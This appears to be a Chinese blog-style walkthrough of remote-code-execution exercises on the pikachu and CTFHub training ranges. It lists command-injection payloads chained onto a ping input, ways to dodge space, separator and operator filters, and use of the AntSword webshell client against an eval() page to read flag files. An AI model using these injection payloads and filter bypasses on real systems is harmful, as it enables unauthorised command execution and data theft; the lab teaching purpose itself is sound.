目录
上面一篇文章我们给出了一些关于RCE漏洞的基础知识,这篇文章我们通过靶场来进行更深一步的了解:
在靶场中我们可以通过命令的拼接来进行一系列的操作
pikachu靶场基本认识
比如:以pikachu靶场来进行实验:
127.0.0.1 & ipconfig(Mac系统中是ifconfig)
127.0.0.1 & whoami
phpinfo();(eval()函数)
这是单纯ping 127.0.0.1的是时候
输入phpinfo(); :
由此可见我们可以通过远程命令来获得很多程序的信息甚至是进行控制。
ctfhub靶场
pikachu这个靶场相对比较简单,接下来我们通过ctfhub来进行一些漏洞的利用:
拿CTFHUB中的eval的题目来进行一个演示:
我们看见这边有eval的函数,那么这边这里就是一个可以利用的漏洞,我们将网址复制到中国蚁剑上,这个程序的安装我们可以去百度一下,然后通过github安装。这边的密码我们通过php的代码可以看见。
这里我们看见只有这一个php文件,我们就通过右击将其通过cmd打开:
然后从中我们发现了flag文件的位置,就可以通过cat来显示文件内容并进行提交。
RCE的漏洞关于eval的大致都是这样利用,然后我们需要通过不同的要求来进行不同方式的利用
然后对于文件包含和命令注入的题目则是和pikachu的靶场一样,我们通过几个命令拼接就可以了:可能有以下几种流程:
命令注入
1、代码审计
2、payload 127.0.0.1;ls 寻找到flag地址
3 payload 127.0.0.1;cat 308563028813712.php | base64
4 base64解密得到flag
如果不允许使用cat命令:
payload 127.0.0.1;
ls payload 127.0.0.1;
less 308563028813712.php | base64 base64
解密得到flag
其他命令 cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
过滤空格
payload 127.0.0.1;ls
payload 127.0.0.1;cat${IFS}flag_2559114064936.php
右键查看源码得到flag
其他使用IFS$9、%09、<、>、<>、{,}、%20、${ IFS}、${IFS}来代替空格
过滤目录分隔符
payload 127.0.0.1;ls
payload 127.0.0.1&ls flag_is_here
payload 127.0.0.1&cd flag_is_here;cat flag_ 133752248118633.php
使用;或者%0a代替目录分隔符/
过滤运算符
payload 127.0.0.1;ls
payload 127.0.0.1;
base64 flag_3969293319629.php
base64解密得到flag